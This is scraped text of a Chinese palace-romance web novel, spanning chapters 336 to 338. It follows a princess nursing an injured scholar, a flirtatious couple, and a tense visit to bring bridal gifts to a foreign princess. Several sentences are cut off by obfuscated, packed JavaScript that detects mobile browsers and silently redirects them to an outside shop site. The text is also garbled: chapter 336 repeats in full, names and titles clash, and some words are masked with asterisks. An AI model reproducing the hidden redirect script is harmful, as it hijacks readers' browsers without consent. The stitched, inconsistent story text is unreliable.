“伤筋动骨一百天,怎么也得将养三个月。若是照料得精心,或许能好得快些,但若是留下病根……” 太医没再说下去,但意思已经很明显了。 清韵紧紧抿着唇,没有说话,只是示意小棠送大夫出去,自己则转身进了屋。 “殿下且慢。” 韩长华的声音从屏风后传来,带着几分虚弱和急切,像是用尽了全身力气。 “臣身体抱恙,恐冲撞了公主,还请公主……” “行了,别说了。” 清韵直接打断了他的话,绕过屏风,走到床榻边。 她看着趴在床榻上,腰间盖着薄被的韩长华,没好气地说: “你一个大男人,怎么比女子还麻烦?” 韩长华没想到清韵会直接进来,顿时慌了神,连忙伸手扯过一旁的被子,想要遮掩。 他腰上刚敷了药,太医特意叮嘱过不能乱动,可眼下这情形,他总不能就这么趴着面见公主吧? 这实在……太失礼了!他恨不得找个地缝钻进去。 清韵可不管这些,她走到床边,作势就要掀开韩长华身上的被子。 “躲什么?我又不是没见过!” “公主不可!” 小棠和韩长华几乎同时惊呼出声。 小棠一个箭步冲上来,死死地拽住清韵的手臂,生怕她再做出什么惊世骇俗的举动来。 “公主殿下,您……你咋能偷看男人身子?这要是传出去,您还怎么嫁人啊?” 小棠急得都快哭了,声音里带着明显的颤抖,像是世界末日就要来临。 “嫁人?本公主什么时候说过要嫁人了?” 清韵一脸无所谓地耸了耸肩, “再说,就算我想嫁,也得有人敢娶我啊。” “可要是让长公主知道了,奴婢……奴婢就没命了啊!” 小棠“呜呜”地哭了起来,眼泪跟不要钱似的往下掉,好像受了天大的委屈。 “好啦好啦,别哭了,不知道的还以为本公主欺负你了呢。” 清韵被她哭得头疼,连忙抽回自己的手, “我不看就是了。” 小棠抽抽噎噎地抹了一把眼泪,其实她心里清楚,自家公主这是在吓唬她呢。 但这一招对付清韵,却是百试百灵。 谁让清韵公主最是心软,见不得人哭呢? “行了,我不看总行了吧?” 清韵无奈地叹了口气,在床沿边蹲下,一双白皙的手指轻轻搭在床沿上,指甲上那一抹淡淡的粉色,在烛光下显得格外柔和,像是上好的羊脂玉。 她抬起头,看着韩长华,眼神中带着几分歉疚。 “韩长华,这次真是对不住了,你安心养伤,医药费,误工费……总之,一切费用,本公主全包了!” 韩长华愣愣地看着她,一时间竟忘了言语。 那双清澈明亮的眼眸中,盛满了真诚的歉意,像一汪明溪,瞬间洗去了他心头的烦躁与不安,只剩下温热。 一股莫名的情绪涌上心头,让他的脸颊微微发烫,心跳也乱了节奏,像是脱缰的野马。 “不,不用……” 他想说些什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621904|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可话到了嘴边,却又不知道该如何开口,只觉得喉咙干涩得厉害。 “什么不用?本公主像是那种说话不算话的人吗?” 清韵柳眉一竖, “你就安心在这儿养伤,缺什么少什么,尽管跟小棠说,天塌下来,还有本公主顶着呢!” 韩长华还想推辞,可清韵根本不给他开口的机会。 “你这样子,就算回了文华院,也没人能好好照顾你。” 清韵上下打量了他一番, “不如这样,你就在我这公主府住下了,等你伤好了再说。至于文华院那边,我修书一封,让他们给你告假。” 说着,清韵站起身,理了理衣袖。 “来人,把沈大人扶到西厢房去,好生伺候着!” 两个身形高大的侍卫立刻应声而入,小心翼翼地将韩长华扶了起来。 韩长华还想再说些什么,可看着清韵那不容置疑的眼神,最终还是把话咽了回去。 他被侍卫扶着,一步一挪地往外走,每动一下,都牵扯着腰间的伤处,疼得他直冒冷汗。 “对了,还有你那小猫。” 清韵忽然想起什么似的,叫住了他们。 她走到韩长华身边,从他怀里小心翼翼地抱起那只小奶猫。 “这小家伙,就让它陪着你吧,省得你一个人无聊。” 清韵一边说着,一边轻轻抚摸着小猫柔软的绒毛, “不过,你可得好好照顾它,要是它瘦了,本公主可饶不了你。” 说完,她将小猫轻轻放在了韩长华的床上,转身离开了房间。 韩长华看着依偎在自己身旁的小猫,心中五味杂陈,像是打翻了调味瓶。 他伸出手,轻轻抚摸着小猫柔软的身体,喃喃自语: “你说,公主殿下……她是不是和传闻中不太一样……” 他从小饱读诗书,满腹经纶,却从未见过像清韵这般……特别的女子。 她行事乖张,不拘小节,却又率真坦诚,心思细腻。 她就像一团火焰,明亮而热烈,让人无法忽视,又不敢轻易靠近。 而他,不过是一介寒门书生,除了满腹才学,一无所有。 他就像一株生长在墙角的野草,默默无闻,毫不起眼。 他与她,原本是两个世界的人,不该有任何交集。 第三百三十六章 绿绿答道:“将军的东西,大多都在这屋里,要不就是在书房。” 茅清兮一听,立刻转战书房。 “娘子找什么呢?为夫帮你。” 身后,突然响起冀容白的声音,低沉中带着一丝笑意。“你今天不用出门?” 茅清兮猛地回头,语气有些发僵。 她飞快地扫了一眼冀容白,那张俊脸上,似笑非笑的神情让她莫名心虚。 冀容白骨节分明的手指轻轻摩挲着下巴,那上面清晰的牙印,昭示着昨晚的“战况”。 他微微俯身,逼近茅清兮,声音低沉而暧昧: “你觉得,我这样子,能出门见人吗?” 茅清兮的视线不受控制地飘向那处暧昧的痕迹,眼睛不由得睁圆。 “这……真是我咬的?” 她努力让自己的语气听起来无辜一点,但微微颤抖的尾音还是泄露了她的心虚。 冀容白嘴角的弧度更深了,他没有直接回答,而是反问: “或许,是昨晚哪位不知名的狐狸精,偷偷潜入我的梦中,留下的印记呢?” 他顿了顿,目光灼灼地盯着茅清兮: “娘子,昨夜可曾见过什么可疑的身影?” 狐狸精本精·茅清兮:“……” 她算是发现了,跟冀容白比脸皮厚,自己是永远都赢不了的。 三十六计,走为上计! “既然你想占用这间屋子,那我先撤了。” 茅清兮飞快地转移话题,同时脚底抹油,准备开溜。 可她快,冀容白更快。 长臂一伸,直接拦腰将人圈了回来,抵在了书架旁。 春日暖阳透过雕花窗格洒落在室内,光影斑驳。 冀容白纤长浓密的睫毛上,仿佛也跳跃着细碎的金光,像一汪融化了的春水,温柔而多情。 他微微低头,凝视着茅清兮,声音低沉而慵懒,带着一丝不易察觉的笑意: “今日怕是出不了门了,这损失,娘子打算怎么赔?” 茅清兮强装镇定,甚至还微微扬起了下巴,摆出一副“我才不怕你”的姿态。 “你不是说,是狐狸精咬的吗?那跟我有什么关系。” 她努力让自己的语气听起来理直气壮,一点儿也不心虚。 冀容白看着她这副模样,只觉得好笑。 他微微倾身,几乎将茅清兮整个人都笼罩在自己的阴影之下: “可是,我眼前的这位娘子,怎么看都比狐狸精还要像狐狸精呢……” 茅清兮眨了眨眼,开始装傻充愣: “有吗?我怎么不知道?这府里上上下下,要说最好看的,除了你燕世子,还能有谁?” 她顿了顿,语气里带上了一丝调侃: “若真要论‘狐狸精’的名号,恐怕也只有你这张脸,才配得上吧?” 冀容白听了这话,不怒反笑。 他低头,凑近茅清兮的耳边,用只有他们两人才能听到的声音,轻声说道: “娘子谬赞。不过……既然夫人都发话了,为夫若是不‘尽职尽责’,岂不是显得太不解风情?” 他故意将“尽职尽责”四个字咬得极重,语气暧昧。 温热的气息喷洒在茅清兮的耳畔,激起一阵细微的战栗。 不等茅清兮反应过来,冀容白的手指已经灵巧地探入了她的衣襟,轻轻挑开了腰间的系带。 然后,似有若无地,在她腰间最敏感的地方,轻轻摩挲。 他微微眯起那双天生含情的凤眼,眼神专注而深邃,仿佛要把茅清兮整个人都吸进去似的。 茅清兮只觉得一股热气“腾”地一下从脚底直冲头顶,整个人都僵住了。 她甚至能清晰地感觉到,自己腰间的肌肤,正因为冀容白的触碰,而微微颤抖。 明知道他是在戏弄自己,可身体却还是不受控制地起了反应。 这种感觉……实在是太羞耻了! 就在茅清兮快要“缴械投降”的时候,窗外突然传来一阵翅膀扑棱的声音。 一只不知名的鸟儿,落在了窗棂上,还欢快地叫了两声。 茅清兮猛地回神,这才意识到,自己竟然差点在光天化日之下,在书房里…… 她一把推开冀容白,手忙脚乱地系好腰带,转身就跑。 那仓皇的背影,活像身后有什么洪水猛兽在追赶。 冀容白看着她落荒而逃的背影,嘴角的笑意再也掩饰不住。 他抬手,朝站在门外的富峻招了招: “去,打听一下,夫人刚才在书房里鬼鬼祟祟的,到底是在找什么东西。” 富峻领命而去。 没过多久,他便回来禀报: “回主子,夫人似乎……在找您的东西。她还特意问了,您平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626777|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都习惯把东西放在哪里。” 冀容白挑了挑眉,脑海中飞快地闪过一个念头。 他嘴角的弧度,更深了。 …… 自打发现冀容白竟然没出门后,茅清兮就歇了寻找小木剑的心思。 她开始装作若无其事的样子,该练武练武,该跟紫姨学医术学医术。 反正,小木剑一时半会儿也丢不了。 眼下,更重要的,是明天石芷凝出嫁。 今天,她得去宁府添妆。 茅清兮带着俞霜和精心挑选的贺礼,出了将军府。 到了宁府,只见门庭若市,宾客盈门。 丫鬟、婆子们进进出出,忙碌不停,到处都洋溢着喜庆的气氛。 茅清兮刚一踏进宁府大门,就有眼尖的丫鬟认出了她,连忙迎了上来,引着她往石芷凝的闺房走去。 闺房里,早已**了不少前来添妆的贵女。 大家三五成群,聚在一起,或低声细语,或轻声说笑,气氛热闹而融洽。 茅清兮的到来,像一颗石子投入平静的湖面,激起了一阵涟漪。 贵女们纷纷停下交谈,将目光投向她。 茅清兮目不斜视,径直走到石芷凝面前,将手中的贺礼递了过去: “芷凝,祝你新婚大喜,百年好合。” 石芷凝双手接过,脸上洋溢着幸福的笑容: “清兮,你能来,我就已经很高兴了,还带什么贺礼呀。” 她打开礼盒,只见里面放着一幅古朴的卷轴。 缓缓展开,一股淡淡的墨香扑鼻而来。 “这是……百年前松壑先生的真迹?!” 石芷凝一眼就认出了这幅字,她惊喜地瞪大了眼睛,语气里满是不可思议。 “你喜欢就好。”茅清兮笑着说。 她知道石芷凝痴迷书法,这幅松壑先生的真迹,是她特意寻来的。 “喜欢,当然喜欢!清兮,你这份礼,实在是太贵重了!” 石芷凝小心翼翼地将卷轴收好,眼眶微微泛红。 她拉着茅清兮的手,让她在自己身边坐下,轻声说道: “以后,可不能再送我这么贵重的礼物了。” 茅清兮只是笑笑,没有说话。 她知道,这份情谊,是金钱无法衡量的。 周围的贵女们见状,眼中都流露出羡慕的神色。 第三百三十六章 绿绿答道:“将军的东西,大多都在这屋里,要不就是在书房。” 茅清兮一听,立刻转战书房。 “娘子找什么呢?为夫帮你。” 身后,突然响起冀容白的声音,低沉中带着一丝笑意。“你今天不用出门?” 茅清兮猛地回头,语气有些发僵。 她飞快地扫了一眼冀容白,那张俊脸上,似笑非笑的神情让她莫名心虚。 冀容白骨节分明的手指轻轻摩挲着下巴,那上面清晰的牙印,昭示着昨晚的“战况”。 他微微俯身,逼近茅清兮,声音低沉而暧昧: “你觉得,我这样子,能出门见人吗?” 茅清兮的视线不受控制地飘向那处暧昧的痕迹,眼睛不由得睁圆。 “这……真是我咬的?” 她努力让自己的语气听起来无辜一点,但微微颤抖的尾音还是泄露了她的心虚。 冀容白嘴角的弧度更深了,他没有直接回答,而是反问: “或许,是昨晚哪位不知名的狐狸精,偷偷潜入我的梦中,留下的印记呢?” 他顿了顿,目光灼灼地盯着茅清兮: “娘子,昨夜可曾见过什么可疑的身影?” 狐狸精本精·茅清兮:“……” 她算是发现了,跟冀容白比脸皮厚,自己是永远都赢不了的。 三十六计,走为上计! “既然你想占用这间屋子,那我先撤了。” 茅清兮飞快地转移话题,同时脚底抹油,准备开溜。 可她快,冀容白更快。 长臂一伸,直接拦腰将人圈了回来,抵在了书架旁。 春日暖阳透过雕花窗格洒落在室内,光影斑驳。 冀容白纤长浓密的睫毛上,仿佛也跳跃着细碎的金光,像一汪融化了的春水,温柔而多情。 他微微低头,凝视着茅清兮,声音低沉而慵懒,带着一丝不易察觉的笑意: “今日怕是出不了门了,这损失,娘子打算怎么赔?” 茅清兮强装镇定,甚至还微微扬起了下巴,摆出一副“我才不怕你”的姿态。 “你不是说,是狐狸精咬的吗?那跟我有什么关系。” 她努力让自己的语气听起来理直气壮,一点儿也不心虚。 冀容白看着她这副模样,只觉得好笑。 他微微倾身,几乎将茅清兮整个人都笼罩在自己的阴影之下: “可是,我眼前的这位娘子,怎么看都比狐狸精还要像狐狸精呢……” 茅清兮眨了眨眼,开始装傻充愣: “有吗?我怎么不知道?这府里上上下下,要说最好看的,除了你燕世子,还能有谁?” 她顿了顿,语气里带上了一丝调侃: “若真要论‘狐狸精’的名号,恐怕也只有你这张脸,才配得上吧?” 冀容白听了这话,不怒反笑。 他低头,凑近茅清兮的耳边,用只有他们两人才能听到的声音,轻声说道: “娘子谬赞。不过……既然夫人都发话了,为夫若是不‘尽职尽责’,岂不是显得太不解风情?” 他故意将“尽职尽责”四个字咬得极重,语气暧昧。 温热的气息喷洒在茅清兮的耳畔,激起一阵细微的战栗。 不等茅清兮反应过来,冀容白的手指已经灵巧地探入了她的衣襟,轻轻挑开了腰间的系带。 然后,似有若无地,在她腰间最敏感的地方,轻轻摩挲。 他微微眯起那双天生含情的凤眼,眼神专注而深邃,仿佛要把茅清兮整个人都吸进去似的。 茅清兮只觉得一股热气“腾”地一下从脚底直冲头顶,整个人都僵住了。 她甚至能清晰地感觉到,自己腰间的肌肤,正因为冀容白的触碰,而微微颤抖。 明知道他是在戏弄自己,可身体却还是不受控制地起了反应。 这种感觉……实在是太羞耻了! 就在茅清兮快要“缴械投降”的时候,窗外突然传来一阵翅膀扑棱的声音。 一只不知名的鸟儿,落在了窗棂上,还欢快地叫了两声。 茅清兮猛地回神,这才意识到,自己竟然差点在光天化日之下,在书房里…… 她一把推开冀容白,手忙脚乱地系好腰带,转身就跑。 那仓皇的背影,活像身后有什么洪水猛兽在追赶。 冀容白看着她落荒而逃的背影,嘴角的笑意再也掩饰不住。 他抬手,朝站在门外的富峻招了招: “去,打听一下,夫人刚才在书房里鬼鬼祟祟的,到底是在找什么东西。” 富峻领命而去。 没过多久,他便回来禀报: “回主子,夫人似乎……在找您的东西。她还特意问了,您平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626777|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都习惯把东西放在哪里。” 冀容白挑了挑眉,脑海中飞快地闪过一个念头。 他嘴角的弧度,更深了。 …… 自打发现冀容白竟然没出门后,茅清兮就歇了寻找小木剑的心思。 她开始装作若无其事的样子,该练武练武,该跟紫姨学医术学医术。 反正,小木剑一时半会儿也丢不了。 眼下,更重要的,是明天石芷凝出嫁。 今天,她得去宁府添妆。 茅清兮带着俞霜和精心挑选的贺礼,出了将军府。 到了宁府,只见门庭若市,宾客盈门。 丫鬟、婆子们进进出出,忙碌不停,到处都洋溢着喜庆的气氛。 茅清兮刚一踏进宁府大门,就有眼尖的丫鬟认出了她,连忙迎了上来,引着她往石芷凝的闺房走去。 闺房里,早已**了不少前来添妆的贵女。 大家三五成群,聚在一起,或低声细语,或轻声说笑,气氛热闹而融洽。 茅清兮的到来,像一颗石子投入平静的湖面,激起了一阵涟漪。 贵女们纷纷停下交谈,将目光投向她。 茅清兮目不斜视,径直走到石芷凝面前,将手中的贺礼递了过去: “芷凝,祝你新婚大喜,百年好合。” 石芷凝双手接过,脸上洋溢着幸福的笑容: “清兮,你能来,我就已经很高兴了,还带什么贺礼呀。” 她打开礼盒,只见里面放着一幅古朴的卷轴。 缓缓展开,一股淡淡的墨香扑鼻而来。 “这是……百年前松壑先生的真迹?!” 石芷凝一眼就认出了这幅字,她惊喜地瞪大了眼睛,语气里满是不可思议。 “你喜欢就好。”茅清兮笑着说。 她知道石芷凝痴迷书法,这幅松壑先生的真迹,是她特意寻来的。 “喜欢,当然喜欢!清兮,你这份礼,实在是太贵重了!” 石芷凝小心翼翼地将卷轴收好,眼眶微微泛红。 她拉着茅清兮的手,让她在自己身边坐下,轻声说道: “以后,可不能再送我这么贵重的礼物了。” 茅清兮只是笑笑,没有说话。 她知道,这份情谊,是金钱无法衡量的。 周围的贵女们见状,眼中都流露出羡慕的神色。 第三百三十七章 她们也纷纷送上了自己的贺礼,但跟茅清兮的这份比起来,就显得有些黯然失色了。 不过,大家也都知道,茅清兮如今的身份地位,不是她们能比的。 她不仅是燕世子夫人,还深得圣上和太后的宠爱,在京城贵女圈中,风头一时无两。 只是,这位燕世子夫人,性子似乎有些清冷。 平日里,各家举办的宴会,她几乎从不参加。 今天能来给石芷凝添妆,已经算是很难得了。 那些想巴结的,找不到合适的机会,只能在一旁干着急。 至于那些曾经对茅清兮心存嫉妒,甚至出言不逊的,现在更是尴尬,连上前搭话的勇气都没有。 茅清兮对这些人的心思,全然不在意。 她正跟石芷凝说着体己话,忽然,门口传来一阵喧哗声。 “清韵郡主到——” 随着丫鬟的通报声,清韵郡主风风火火地闯了进来。 她先是给了石芷凝一个大大的拥抱,然后送上了自己的贺礼。 接着,便一屁股坐在了茅清兮身边,拉着她的手,叽叽喳喳地说个不停。 “清兮,你怎么来这么早?我还在家睡懒觉呢,要不是我娘催我,我肯定还在床上躺着!” 茅清兮有些无奈地看着她: “你呀,都快要及笄的人了,怎么还这么贪睡?” “及笄有什么了不起的?我才不想嫁人呢!”清韵郡主撇了撇嘴,一脸不屑,“对了,清兮,你最近怎么都不出门了?我去找过你好几次,你都不在。” 茅清兮还没来得及回答,清韵郡主又自顾自地说道: “我知道了!你肯定是在家陪燕世子,对不对?你们俩可真是……哎,算了算了,我不说你们了。” 她一副“我都懂”的表情,让茅清兮哭笑不得。 “对了,我跟你说,我最近都在忙着照顾人呢,都没空出门。” 茅清兮这才想起,之前清韵郡主提过,韩长华受伤的事。 “你还在照顾韩长华?长公主殿下就没说什么?” “我妈对此一无所知!我托父亲帮忙保密,不然,她肯定又要念叨我,说我不知羞,整天往一个男人那里跑。” 清韵郡主得意洋洋地说着,全然没意识到,这件事根本不可能瞒得住。 茅清兮忍不住在心里叹了口气,为这位天真烂漫的郡主感到担忧。 “对了,清兮,我跟你说,韩长华养了一只猫,可有意思了!那猫叫‘雨团’,长得跟个雪球似的,可爱极了!” 清韵郡主兴致勃勃地跟茅清兮分享着自己的“新宠”。 “不过,那猫有点‘势利眼’,只喜欢黏着韩长华,对我爱答不理的。为了能多撸几次猫,我只好每天都去找韩长华……” 她一边说着,一边比划着,脸上还带着一丝小得意。 似乎,为了撸猫而“屈尊降贵”,对她来说,并不是什么丢脸的事情。 茅清兮看着她这副没心没肺的样子,忍不住问道: “你不是说,你不喜欢男人吗?怎么现在,又跟韩长华走得这么近?” 清韵郡主愣了一下,然后一脸认真地解释道: “这不一样!韩长华他……作为一个大老爷们,但他身上,没有那种让人讨厌的气息。” “什么气息?”茅清兮追问。 “就是……就是那种……”清韵郡主皱着眉头,努力想了半天,才憋出一个词来,“迂腐!对,就是迂腐的气息!韩长华身上,没有那种迂腐的气息!” 茅清兮:“……” 好吧,她承认,自己有点跟不上这位郡主的脑回路了。 不过,看她这副样子,似乎对韩长华,并没有男女之情。 或许,只是单纯地喜欢那只猫而已。 茅清兮没有再继续这个话题。 这时,屋里的贵女们,陆陆续续地起身告辞。 她们走到石芷凝面前,说了几句祝福的话,然后便匆匆离开了。 清韵郡主有些奇怪: “这些人怎么回事?这才坐了多久,就要走了?” 石芷凝笑了笑,解释道: “她们还要去给马静郡主添妆,自然不好在这里久留。毕竟,马静郡主是未来的贤王妃,身份尊贵,不能怠慢了。” “马静郡主?”清韵郡主冷哼一声,“这些人,还真是见风使舵,趋炎附势!一位异国的公主,也值得她们这么巴结?” 石芷凝摇了摇头: “话不能这么说。静儿是陛下钦点的王妃,她们身为臣子,理应表示敬意。否则,传出去,对她们的名声不好。” “那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634540|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们呢?我们也要去吗?”清韵郡主问道。 “当然。”石芷凝点了点头,“这是规矩,不能坏了。你们去吧,不用担心我。”驿馆内,热闹非凡。 茅清兮与清韵联袂而来,正值各府千金贺喜宁府归来,又聚于此地,为马静郡主添妆。 西魏远道而来,马静郡主在京中无依无靠,只得暂居于这驿馆之中。 亏得礼部尽心,此处张灯结彩,喜气洋洋,又有满京城的贵女们捧场,倒也不失这位未来贤王妃的体面。 她二人一出现,便如磁石般吸引了所有人的目光。 原本的欢声笑语,此刻却如潮水般退去,徒留一片令人窒息的寂静。 马静郡主身侧,安宁公主目光如炬,其间寒意,令人不寒而栗。 “两位妹妹可算来了,快来坐。”马静郡主依旧是红纱覆面,只露出一双盈盈笑眼,嗓音温婉。 茅清兮与清韵上前,将带来的两件首饰奉上,聊表添妆之意。 首饰是出宁府后,随意寻了个铺子置办的。 “有心了。”马静郡主微微颔首。 西魏女子未嫁之前,多以面纱示人。 孝宁、昌静两位公主此番前来大晋,本为和亲,一路遮面,倒也无人置喙。 只是,今日再见安宁公主,茅清兮总觉有几分古怪。 那眼神... 竟与茅暮暮如出一辙! 细细想来,茅暮暮定是用了易容之术,连声音也做了改变。 否则,以两人昔日的“交情”,自己断不会毫无察觉。 思及茅暮暮一心想嫁与太子,茅清兮不由得唇角微扬,露出一丝玩味的笑。 安宁公主却被这笑刺痛了心。 她紧紧地绞着手中的帕子,力道之大,几乎要将帕子撕碎。 茅清兮这个**! 不管是在陆府,还是现在她成了西魏的公主,这女人都像个鬼魅一般,挥之不去! “臧夫人和左小姐真是情同姐妹,竟还有闲情来给咱们西魏人添妆?”安宁公主开口,话中带刺。 茅清兮故作懵懂地眨了眨眼,一脸无辜: “公主这话,我怎么听不太明白?这满屋子的姐妹,不都是刚从宁府出来么?莫非...在公主眼里,给左小姐添了妆,便没资格给马静郡主添妆了? 第三百三十八章 ” 此言一出,四下哗然。 贵女们交换着眼神,面色各异。 给石芷凝和马静郡主添妆,本是两桩事。 可先去宁府,再来驿馆,已是众人心照不宣的默契。 毕竟,谁都知道马静郡主是未来的贤王妃。 但对于马静郡主,大家也只是表面客气,点到即止。 要不是圣上赐婚,谁又会真的把一个别国郡主放在眼里? 安宁公主这话,虽是冲着茅清兮,却也把其他人都绕了进去。 “你...本公主才不是那个意思!”茅暮暮气急败坏,声音都变了调,“本宫指的就是你!” 茅清兮眼神一凛。 她不紧不慢地开口: “马静郡主不日便要嫁给贤王,与我大晋结为秦晋之好。我等前来贺喜,也是应有之义。” 茅清兮停顿了一下,眼神变得冷冽: “反倒是安宁公主,若是不欢迎,我和清韵大可现在就走。” “臧夫人息怒,孝宁她绝无此意...”马静郡主赶忙出言劝解。 话音未落,便被茅暮暮厉声打断:“你给我闭嘴!” 茅暮暮狠狠瞪了马静郡主一眼,眼中满是厌恶。 那眼神,仿佛要将马静郡主生吞活剥。 马静郡主只是冷冷地回望了她一眼,没有说话。 身为西魏使臣之女,她不能眼睁睁看着安宁公主在这大喜的日子里,把大晋的贵女们都得罪了。 茅清兮静静地看着她们,突然轻笑一声: “瞧我这记性,只顾着说话,倒把心里事儿给忘了,看到两位公主姐妹情深,让我想起我也有个妹妹。” 她顿了顿,语气变得意味深长: “说来也是有缘,我那妹妹,单名一个晚字。我出嫁之前,与她也是这般好。只是...” 茅清兮叹了口气,脸上浮现几分惋惜: “她福薄,被人拐了去,至今杳无音信。她要是能见到两位公主,肯定会很高兴。” 清韵听得云里雾里。 在座的贵女们,凡是知道宋家姐妹那些事的,都神色古怪。 只有马静郡主,眼神微动,轻声说道: “臧夫人与令妹,真是姐妹情深。” 红纱下,茅暮暮的脸色已然扭曲得不成样子,像是在质问:你又在胡说八道些什么? 其他人,皆是眼观鼻,鼻观心,一副事不关己的模样。 “姐妹情深倒也谈不上,只不过...”茅清兮笑了笑,话锋一转,“我倒是挺想她的,要是能再见她一面,我定会好好待她。” 茅清兮将“好好”二字咬得极重。 “想她?”茅暮暮冷哼一声,“我来大晋这些日子,听到的可不是这样的版本,人人都说臧夫人与妹妹不合,甚至...早已与宋家断绝了往来。这样的行径,在我们西魏,是要被人唾弃的!” “哦?安宁公主这是从哪儿听来的闲话?”茅清兮故作惊讶地睁大了眼睛。 “我有个乳母,最是喜欢打听这些家长里短,”茅清兮露出一副“你怎么连这都知道”的夸张神情,“她常说我妹妹天真烂漫,跟我最好,是不是?” 她转过身,目光在那些世家女子身上一一扫过。 贵女们神情尴尬,却也只能勉强点头。 茅清兮满意地笑了,她看向安宁公主,语气轻快: “可见公主是听岔了。说起来,我那庶妹,倒是与公主您年纪相仿。” 她语气随意,仿佛只是闲聊: “只可惜,她没公主这般好命。就她那样的身份,竟还肖想着嫁给太子,可不是痴心妄想么?” 茅暮暮只觉一股怒气直冲天灵盖。 她死死地掐着掌心,指甲几乎要嵌进肉里,呼吸也变得粗重起来。 “茅清兮!你竟敢...” “够了!”马静郡主一把抓住茅暮暮的手腕,眼神冷厉如刀,“你给我清醒点!” 这突如其来的一下,让安宁公主愣在了原地。 她呆呆地看着马静郡主,似乎不敢相信,这个平日里温顺如羔羊的女子,竟会有如此骇人的一面。 而且,昌静她... 难道知道了什么? 茅暮暮心神不宁之际,茅清兮已然起身告辞。 “时候不早了,我和清韵就不多打扰了。祝马静郡主与贤王殿下,花开并蒂,永浴爱河。” 其他人见状,也纷纷起身告辞。 本就只是来走个过场,眼下更是巴不得快些离开这是非之地。 待众人散去,屋里只剩下茅暮暮与马静郡主两人。 “你...是不是知道了什么?”茅暮暮的声音,微微发颤。 马静郡主没有回答,只是冷冷地看着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634541|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你怎么敢...” “茅暮暮,”马静郡主冷声打断她,“你最好摆正自己的位置!再这样不知轻重,别说五皇子,我也护不住你!” 茅暮暮脸色惨白。 马静郡主,果然知道了! “你以为茅清兮是傻子吗?”马静郡主的声音,像淬了毒的寒冰,“把你那些见不得人的心思都给我收起来!老老实实做你的太子侧妃,否则...不用茅清兮动手,我也会让你求生不得,求死不能!”“清兮,咱们走吧。” 清韵郡主挽着茅清兮的手,从马静郡主的院子里出来。 二人刚转出院门,就见康云辰正百无聊赖地蹲在墙根下,手里把玩着一片树叶。 见到茅清兮,他眼底闪过一道精光,手里的树叶也顾不上玩了,随手一扔。 他“噌”地一下站起身,大步流星地朝茅清兮走来, 那架势,像是算准了时间,专程来堵人的。 同行出来的女眷们见状,皆是一惊。 毕竟是给马静郡主添妆,按理说,康云辰这样的外男该避嫌才是。 他这般不避讳,还直直地走过来…… 一时间,窃窃私语声四起。 那些未出阁的贵女们更是羞红了脸, 生怕被这西魏将军的举动给污了名声, 齐刷刷地后撤了一段距离, 只敢拿余光偷瞄。 康云辰的目光,却只黏在茅清兮身上, 旁若无人。 茅清兮微微蹙眉,停下脚步,冷冷地看着他。 “康将军这是做什么?” 清韵郡主挡在茅清兮身前, 从腰间“唰”地抽出软鞭, 鞭身在空中划过一道凌厉的弧线, “啪”地一声, 鞭梢在两人之间的地面上,抽出了一道清晰的痕迹。 “康将军莫非忘了,这是在谁家的地盘上?” 清韵眼神冷冽,语气中满是警告。 “这里是大晋,不是你们西魏!来了大晋,就得守大晋的规矩!” 康云辰被她这气势一震,脚步下意识地顿住。 他这才想起,今日是茅暮暮的添妆礼,来的都是大晋的贵女。 他一个西魏的将军,确实不该出现在这里。 